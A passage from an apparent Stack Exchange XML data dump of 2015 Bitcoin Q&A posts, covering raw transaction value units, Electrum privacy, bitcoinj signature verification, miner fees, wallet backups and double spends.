for instance)&#xA;   b) connect to the `tor` network and give one of the receiving addresses to person B&#xA;      so he or she can make the payment&#xA;   c) Go to the Send tab and send to person C. &#xA;   When the transactions are done, close the wallet and disconnect from tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22796" LastActivityDate="2015-03-30T23:00:22.887" Title="Some newbie questions about bitcoin transactions and anonymity" Tags="|privacy|buy-bitcoins|electrum|sell-bitcoins|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35327" PostTypeId="1" AcceptedAnswerId="35356" CreationDate="2015-01-07T10:23:18.210" Score="2" ViewCount="915" Body="&lt;p&gt;I am getting confused about the Bitcoin amount presentation in a raw transaction's &lt;code&gt;&quot;value&quot;&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i want to spend 0.05 BTC, for instance, which of these is the correct value?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;value&quot; : 0.05&#xA;&quot;value&quot; : 50000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or are both allowed?&#xA;It seems that &lt;code&gt;bitcoin-cli sendfrom ...&lt;/code&gt; generates the former representation, and a quick check of some transactions on blockchain.info just showed transactions using the latter one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently following the example &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/master/examples/spend-p2sh-txout.py&quot; rel=&quot;nofollow&quot;&gt;spend-p2sh-txout.py&lt;/a&gt; of python-bitcoinlib, in which a raw transaction is being created that uses the Satoshi representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im my application, the following transaction is being created in the &lt;code&gt;regtest&lt;/code&gt; mode, &lt;strong&gt;&lt;em&gt;decoded via &lt;a href=&quot;https://blockchain.info/decode-tx&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:224,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:0,&#xA;            &quot;hash&quot;:&quot;bf7a52d8ddbc2faf3f110fe7aef4fb2ef68058ab607c381a098062bc2f53d613&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;483045022100dbbcce4fcf6ff6af11c5c365fe736a01ed6808e3a7369f5a54285f3cf7b91b7002202bc38a8b7631d0749ec519d28ae87885a3881afc52b741aec55b8952bda81ef501410468d77eb31494cb851898661e8359f7388283317c7e79cf979af7c99c379a5a641cc476663d0e8a91c458f6c86fdd8b76e3db3e0e06ba0527748690fae4673b13&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;hash&quot;:&quot;985ca8c35dd2e0bd4c583a3254352f740445fb0c19cca6922a3f71458ede6246&quot;,&#xA;   &quot;vout_sz&quot;:1,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 cadcdc47fcdbeeb3ad212b4a4657d7b4da759a82 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;1KVe5QTdQ4cXfqmtJBxqKQrei5zvCmRpWh&quot;,&#xA;         &quot;value&quot;:10000000,&#xA;         &quot;script&quot;:&quot;76a914cadcdc47fcdbeeb3ad212b4a4657d7b4da759a8288ac&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This transaction is meant to simply relay the funds received by previous manual transaction created via &lt;code&gt;bitcoin-cli -regtest sendfrom alice mtx3RXD3DVgc1BDSeHRFkSVcmSw8BfdbS2 0.1&lt;/code&gt;, where &lt;code&gt;alice&lt;/code&gt; is an existing account. The transaction looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hex&quot; : &quot; &quot;,&#xA;    &quot;txid&quot; : &quot;bf7a52d8ddbc2faf3f110fe7aef4fb2ef68058ab607c381a098062bc2f53d613&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;1036be89b0544dbd2ae323b7de371ec49c5103bdf17c5a899218a9c999d2e81f&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;30450221008ea7e7ab056daf158561329f7879c4cddb6dce741be106572902d50aab9e1c110220531e3cbfd2491412d9ddc6f04c77d2e9153b8e76df3676cd1d40cd81700c723901&quot;,&#xA;                &quot;hex&quot; : &quot;4830450221008ea7e7ab056daf158561329f7879c4cddb6dce741be106572902d50aab9e1c110220531e3cbfd2491412d9ddc6f04c77d2e9153b8e76df3676cd1d40cd81700c723901&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;        {&#xA;            &quot;txid&quot; : &quot;406cf7055d91e2592c27a27068dcc1f385ac080ca3939e07f9d4c8f01faa4597&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304502210085a3a69fdb2242bea5b7fa2bb3889e2d0c04d80614cde72053ba0b63e0acef9c022068b04f769a67ce896c09b0c43efd2d53542a6530f51b0d5144bea06e8ffea98a01 0222485cf467f5359416d5dcf20293adce14bd6039cffc246ae7d6f49f541ae3b6&quot;,&#xA;                &quot;hex&quot; : &quot;48304502210085a3a69fdb2242bea5b7fa2bb3889e2d0c04d80614cde72053ba0b63e0acef9c022068b04f769a67ce896c09b0c43efd2d53542a6530f51b0d5144bea06e8ffea98a01210222485cf467f5359416d5dcf20293adce14bd6039cffc246ae7d6f49f541ae3b6&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.01038375,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 7b441644e981eaa7b9acbb66ddd029540ae37713 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9147b441644e981eaa7b9acbb66ddd029540ae3771388ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mrkiyR5zrvxZtCucHYZTXfs3t2Kz9UNuVS&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.10000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 935850c4a25f44f4e057aa2109a8855370567272 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914935850c4a25f44f4e057aa2109a885537056727288ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mtx3RXD3DVgc1BDSeHRFkSVcmSw8BfdbS2&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;blockhash&quot; : &quot;0000c177c89fab9ff7b59be7d38b61c94c3b8492a3633863c382fba73f0ede0c&quot;,&#xA;    &quot;confirmations&quot; : 6,&#xA;    &quot;time&quot; : 1420621337,&#xA;    &quot;blocktime&quot; : 1420621337&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The transaction created by my application is being rejected by my local &lt;code&gt;bitcoind&lt;/code&gt; instance, &lt;code&gt;debug.log&lt;/code&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: CheckInputs() : 985ca8c35dd2e0bd4c583a3254352f740445fb0c19cca6922a3f71458ede6246 value in &amp;lt; value out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now, I am suspecting that the error is caused by the different representations, or am I missing another problem?&lt;/p&gt;&#xA;" OwnerUserId="22795" LastEditorUserId="22795" LastEditDate="2015-01-08T06:56:56.470" LastActivityDate="2015-01-08T07:13:33.110" Title="&quot;value&quot; field in raw transaction: Rounded Bitcoins (float) or Satoshis?" Tags="|bitcoind|raw-transaction|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35329" PostTypeId="2" ParentId="35326" CreationDate="2015-01-07T11:55:30.170" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) After having installed Electrum I go to the Recieving tab in the GUI. There I can see some different addresses. Can I publish them all to the public to get payments? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, these addresses are meant to be &quot;published&quot; to other parties who will send you payments&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Are these addresses static? That is, will I have these addresses forever to receive payments and I guess multiple people can insert bitcoins multiple times to the same address? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Electrum is an &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; which means it generated its addresses in a deterministic way so as long as you keep your &lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow&quot;&gt;seed phrase&lt;/a&gt; in a safe place you will be the owner of these addresses. &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow&quot;&gt;Reusing addresses without a good reason is generally discouraged&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) Actually, from an anonymity perspective, what is the difference between having several receiving addresses in one wallet to get payments and multiple wallets with one address each?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Having multiple wallets with one address each is a huge overkill and improves nothing in terms of anonymity, it will only make it easier for you to get lost amongst your wallets, not being able to use the bitcoin network the way it is supposed to be used and eventually lose some funds.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4) If one would be totally anonymous when getting and making payments (let´s say person A will get payment from B and then A will pay C), is this a correct way to do it and still become anonymous:&#xA;     a) install a local wallet with &lt;code&gt;tor&lt;/code&gt; support (Electrum for instance)&#xA;     b) connect to the &lt;code&gt;tor&lt;/code&gt; network and give one of the receiving addresses to person B&#xA;        so he or she can make the payment&#xA;     c) Go to the Send tab and send to person C. &#xA;     When the transactions are done, close the wallet and disconnect from tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suggest you take a look at these wiki entries: &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot; rel=&quot;nofollow&quot;&gt;Anonymity&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.org/en/protect-your-privacy&quot; rel=&quot;nofollow&quot;&gt;Protect your privacy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-07T11:55:30.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35330" PostTypeId="2" ParentId="35327" CreationDate="2015-01-07T12:16:45.617" Score="0" Body="&lt;p&gt;The error is caused indeed by different representations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In tx &lt;code&gt;985ca8c35dd2e0bd4c583a3254352f740445fb0c19cca6922a3f71458ede6246&lt;/code&gt; you are trying to send 10,000,000 bitcoins to address &lt;code&gt;1KVe5QTdQ4cXfqmtJBxqKQrei5zvCmRpWh&lt;/code&gt; while spending for that purpose a single output of value of 0.01038375 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;createrawtransaction&lt;/code&gt; by design will not check if the inputs' total amount is equal or bigger in value than the outputs' total amount. &lt;code&gt;signrawtransaction&lt;/code&gt; doesn't really care about this either so it all comes down to &lt;code&gt;sendrawtransaction&lt;/code&gt; which performs this check and if &lt;code&gt;inputs value&lt;/code&gt; &amp;lt; &lt;code&gt;outputs value&lt;/code&gt; it fails with this message: &lt;code&gt;CheckInputs() : tx-hash value in &amp;lt; value out&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-07T12:16:45.617" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35331" PostTypeId="2" ParentId="18587" CreationDate="2015-01-07T13:52:25.863" Score="1" Body="&lt;p&gt;You can download BTC ticker data for February 2014 there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://btce-alert.com/files/BTC_USD_ticker_data_february2014.csv&quot; rel=&quot;nofollow&quot;&gt;http://btce-alert.com/files/BTC_USD_ticker_data_february2014.csv&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22799" LastActivityDate="2015-01-07T13:52:25.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35332" PostTypeId="1" AcceptedAnswerId="35333" CreationDate="2015-01-07T14:57:21.103" Score="0" ViewCount="3274" Body="&lt;p&gt;I've been wondering. What programming language is needed to develop and maintain an altcoin? Because I've been thinking to try creating my own altcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a lot of services to develop an altcoin for certain amount of money. I could pay for it, but I prefer not to since it would be boring as hell to just do that and there's simply nothing that I can be proud of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a step by step guide, forking from Litecoin. But I kinda want to do it blindly. (Meaning doing something that I don't understand at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've learned Java and VB but I don't think it's even used a single bit in Cryptocurrency.&lt;/p&gt;&#xA;" OwnerUserId="22800" LastEditorUserId="2306" LastEditDate="2015-01-07T17:25:09.263" LastActivityDate="2015-01-08T09:37:56.107" Title="What programming language should I learn to create a new altcoin?" Tags="|development|altcoin|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35333" PostTypeId="2" ParentId="35332" CreationDate="2015-01-07T15:01:45.633" Score="0" Body="&lt;p&gt;Unless you want to reinvent the wheel or have a totally different architecture in mind from what's already out there you will most probably &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_%28software_development%29&quot; rel=&quot;nofollow&quot;&gt;fork&lt;/a&gt; an existing implementation of your choice so if creating your own altcoin is what you really want, find the existing coin you will be forking and learn the programming language(s) that was used to create it.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-07T15:01:45.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35334" PostTypeId="1" AcceptedAnswerId="35341" CreationDate="2015-01-07T15:08:08.553" Score="2" ViewCount="770" Body="&lt;p&gt;I managed to create a raw tx using Bitcoinj but not able to figure out how to verify its signatures. &#xA;Assuming I know the addresses corresponding to the (supposedly) unspent outputs used as inputs to the Tx, what is the easiest way to verify the Tx?&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2015-01-07T15:27:08.440" LastActivityDate="2015-01-11T05:41:06.607" Title="How do we verify the signature on a raw transaction using Bitcoinj?" Tags="|transactions|signature|bitcoinj|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35335" PostTypeId="2" ParentId="34316" CreationDate="2015-01-07T16:26:02.447" Score="1" Body="&lt;p&gt;In the example, the user is demonstrating that they are willing to lose access to some amount of Bitcoin for a period of time.  The example is based on an assumption that a rational user wouldn't do that unless they were serious about something.  The implied benefit is that casual users or bots won't want to put a lock on their funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as Tadje Dryja pointed out in a recent talk, time value of money is not necessarily equal among users.  In the example, the contract is for 10 BTC.  For some folks 10 BTC may be a lot to part with for 6 months.  For others it may be no big deal.  So it's questionable if the site gets the benefit they think they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine an exclusive club where you had to deposit $1,000 just to get in the door, but you were guaranteed the return of your money when you left.  It does act as a selection filter for who is able and willing to go through with this arrangement.  Whether or not it really selects for the clientele the club is looking for is another question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, at the risk of pointing out the obvious, I would add a step 7 to that example that the web site verify that Tx1 is confirmed on the block chain and is as expected before proceeding.  The web site already knows the transaction ID for Tx1 since that was given in step 3.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2015-01-07T16:26:02.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35336" PostTypeId="1" AcceptedAnswerId="35340" CreationDate="2015-01-07T16:37:37.157" Score="2" ViewCount="362" Body="&lt;p&gt;Considering following definition, can we say that bitcoin is a mesh network?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;A mesh network uses a network topology in which each node (called a mesh node) relays data for the network. All nodes cooperate in the distribution of data in the network. &lt;a href=&quot;http://en.wikipedia.org/wiki/Mesh_networking&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Mesh_networking&lt;/a&gt;&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13358" LastEditorUserId="2306" LastEditDate="2015-01-07T17:01:36.670" LastActivityDate="2015-01-08T05:25:18.193" Title="Is Bitcoin a mesh network?" Tags="|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35337" PostTypeId="2" ParentId="35332" CreationDate="2015-01-07T16:41:47.440" Score="0" Body="&lt;p&gt;The most likely you followed this &lt;a href=&quot;http://devtome.com/doku.php?id=scrypt_altcoin_cloning_guide&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; to create an altcoin.&#xA;If you feel that C++ is a bit cumbersome, then I would try Python.&lt;/p&gt;&#xA;" OwnerUserId="13358" LastActivityDate="2015-01-07T16:41:47.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35338" PostTypeId="1" AcceptedAnswerId="35339" CreationDate="2015-01-07T16:56:06.063" Score="1" ViewCount="716" Body="&lt;p&gt;I know that in a transaction, the difference between the amount and the sum of the outputs is the implicit transaction fee, but how do the miners that verify the block containing that transaction actually get access to that fee as UTXO?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="5406" LastEditDate="2016-04-19T10:15:57.030" LastActivityDate="2016-04-19T10:15:57.030" Title="How do miners receive transaction fees?" Tags="|transaction-fees|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35339" PostTypeId="2" ParentId="35338" CreationDate="2015-01-07T17:12:15.420" Score="4" Body="&lt;p&gt;One of the network rules is that a coinbase's outputs cannot be larger than the current block reward plus the transaction fees of the transactions in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a miner claims the transaction fees by increasing the amount of the block reward. This is true even after 2140, when there will be no block reward. (Network rules require that the first transaction be a coinbase, even if there is nothing to claim.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-07T17:12:15.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35340" PostTypeId="2" ParentId="35336" CreationDate="2015-01-07T17:35:23.437" Score="2" Body="&lt;p&gt;It broadcasts blocks and transactions using a logical mesh network, but that shouldn't be confused with &lt;a href=&quot;http://en.wikipedia.org/wiki/Wireless_mesh_network&quot; rel=&quot;nofollow&quot;&gt;physical mesh network&lt;/a&gt; proposals.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-07T17:35:23.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35341" PostTypeId="2" ParentId="35334" CreationDate="2015-01-07T18:35:06.347" Score="4" Body="&lt;p&gt;You're interested in the following API calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public List&amp;lt;TransactionInput&amp;gt; Transaction.getInputs()&#xA;public Script TransactionInput.getScriptSig() throws ScriptException&#xA;public void Script.correctlySpends(Transaction txContainingThis, long scriptSigIndex, Script scriptPubKey)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use them like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Transaction tx = ...&#xA;List&amp;lt;TransactionInput&amp;gt; inputs = tx.getInputs();&#xA;for(int i = 0; i &amp;lt; inputs.size(); i++) {&#xA;    TransactionInput input = inputs.get(i);&#xA;    Script scriptSig = input.getScriptSig();&#xA;    Script scriptPubKey = ...&#xA;    scriptSig.correctlySpends(tx, i, scriptPubKey);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tricky bit is getting scriptPubKey. If you have the transactions you're spending in memory, it's as simple as &lt;code&gt;input.getConnectedOutput().getScriptPubKey();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't, then you can make an educated guess by converting the address to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address_.28pay-to-pubkey-hash.29&quot; rel=&quot;nofollow&quot;&gt;P2PKH&lt;/a&gt; scriptPubKey.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static Script ScriptBuilder.createOutputScript(Address to)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates an edge case where if someone tries to spend a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Obsolete_pay-to-pubkey_transaction&quot; rel=&quot;nofollow&quot;&gt;P2PK output&lt;/a&gt;, it will appear to be signed incorrectly to your program. (Both are represented by addresses.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-11T05:41:06.607" LastActivityDate="2015-01-11T05:41:06.607" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35342" PostTypeId="1" CreationDate="2015-01-07T18:45:37.850" Score="4" ViewCount="5318" Body="&lt;p&gt;I had 3 Bitcoins stored on my PC and I had a backup image of my PC. I restored my PC on another computer from the image and I had 3 Bitcoins on that computer also. I spent 5 Bitcoins as a test, and it worked. What just happened?&lt;/p&gt;&#xA;" OwnerUserId="22802" LastEditorUserId="2306" LastEditDate="2015-01-07T18:56:51.757" LastActivityDate="2016-09-21T18:31:07.673" Title="Did I just create counterfeit bitcoins?" Tags="|security|" AnswerCount="4" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35344" PostTypeId="2" ParentId="35342" CreationDate="2015-01-07T19:02:37.160" Score="10" Body="&lt;p&gt;It's like two people holding on to the same $20 bill and each of them saying, &quot;see, I have 20 dollars!&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins can be spent/accessed by anyone that has the private key to unlock them. If two computers have the same private key stored, then they can both access the bitcoins. If one wallet spends the bitcoins, the other wallet will show them as spent as well, just like one person spending the $20 bill means it is gone for the other person.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-07T20:43:01.200" LastActivityDate="2015-01-07T20:43:01.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35345" PostTypeId="2" ParentId="35342" CreationDate="2015-01-07T19:51:57.410" Score="7" Body="&lt;p&gt;As another analogy, it is like taking your bank statement, showing a $1000 balance, and making a copy of it, and thinking you now have a total of $2000 in two accounts. You don't; you are counting the same money twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both computers' client software is in sync, then if you spend the coins on one computer, the other computer will also show them as spent. If you send coins from one wallet to the other, the destination wallet will show that you sent coins to yourself, and your balance will not increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If each wallet does show a total balance of 3 bitcoins, and they correspond to coins in the same addresses, then there should be no way to spend a total of 5 bitcoins. Indeed, there should be no way to get either client to even show that you have 5 bitcoins. It's not clear exactly what you mean when you say that you spent 5 bitcoins; for us to be sure of what happened, you would need to explain in detail exactly what you did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you spend coins from both wallets in quick succession, you may be able to create two different transactions that attempt to spend the same coins.  This is called a double spend. However, only one of those transactions will be confirmed, so you can't actually get goods or services for both transactions, unless the other party is foolish enough not to wait for confirmations.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-07T19:51:57.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35346" PostTypeId="2" ParentId="34321" CreationDate="2015-01-07T19:53:47.613" Score="0" Body="&lt;p&gt;Bitstamp is currently offline. Here's how to get prices from somewhere else:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the currency ticker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cviL7.png&quot; alt=&quot;Currency ticker, click to configure&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will open the preferences menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down and click the drop down menu labelled &quot;Exchange&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4aVrw.png&quot; alt=&quot;preference menu, scroll down to exchange&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;Apply changes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xauxJ.png&quot; alt=&quot;apply changes&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4e91T.png&quot; alt=&quot;new prices displayed&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-07T19:53:47.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35347" PostTypeId="1" AcceptedAnswerId="35348" CreationDate="2015-01-07T20:12:06.730" Score="2" ViewCount="841" Body="&lt;p&gt;I'm curious if miners can choose which transactions to mine?  I know that there are limits to the minimum size of a transaction fee (around 5400 satoshis) but I'm wondering if miners can ignore those limits for certain transactions.  For example, if I gave a mining pool a list of addresses and offered an incentive to them to mine them even though the transaction was non-standard, could they do it?&lt;/p&gt;&#xA;" OwnerUserId="22805" LastEditorUserId="5406" LastEditDate="2016-04-09T07:56:07.110" LastActivityDate="2016-04-09T07:56:07.110" Title="Can miners choose which transactions to mine?" Tags="|transaction-selection|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35348" PostTypeId="2" ParentId="35347" CreationDate="2015-01-07T20:27:53.430" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I know that there are limits to the minimum size of a transaction fee (around 5400 satoshis)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Sending&quot; rel=&quot;nofollow&quot;&gt;some transactions can sent for free&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, if I gave a mining pool a list of addresses and offered an incentive to them to mine them even though the transaction was non-standard, could they do it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Absolutely. A miner can include any transaction that doesn't break network rules, for any reason.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-07T20:27:53.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35349" PostTypeId="1" AcceptedAnswerId="35350" CreationDate="2015-01-07T22:08:36.027" Score="3" ViewCount="261" Body="&lt;p&gt;Suppose an attacker makes a double-spend and controls the mining pool that happens to find the good which confirms the transactions.  What happens?  I suppose the network hopes that a vigilante sees the double spend on the block chain and notifies everyone. Then what happens?  Do the mining pools coordinate and remine the block?  Seems like a big disruption.  Is there a more elegant solution?&lt;/p&gt;&#xA;" OwnerUserId="22807" LastEditorUserId="5406" LastEditDate="2016-04-17T20:09:03.093" LastActivityDate="2016-04-17T20:09:03.093" Title="What happens if a miner confirms their own double spend?" Tags="|mining-theory|doublespend|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35350" PostTypeId="2" ParentId="35349" CreationDate="2015-01-07T22:15:44.497" Score="5" Body="&lt;p&gt;Every single Bitcoin node in the network will reject and ignore the block as invalid if there is a double spend in it. The block won't even spread very far, because the peers that first receive it will ban the miner who sent it and not forward on the block to any other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a big disruption as the check for this is fast. Other mining pools don't need to &quot;remine&quot; it , they'll just recognize the submitted block as invalid, and keep working on their own block.&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="18196" LastEditDate="2015-01-07T23:55:35.080" LastActivityDate="2015-01-07T23:55:35.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
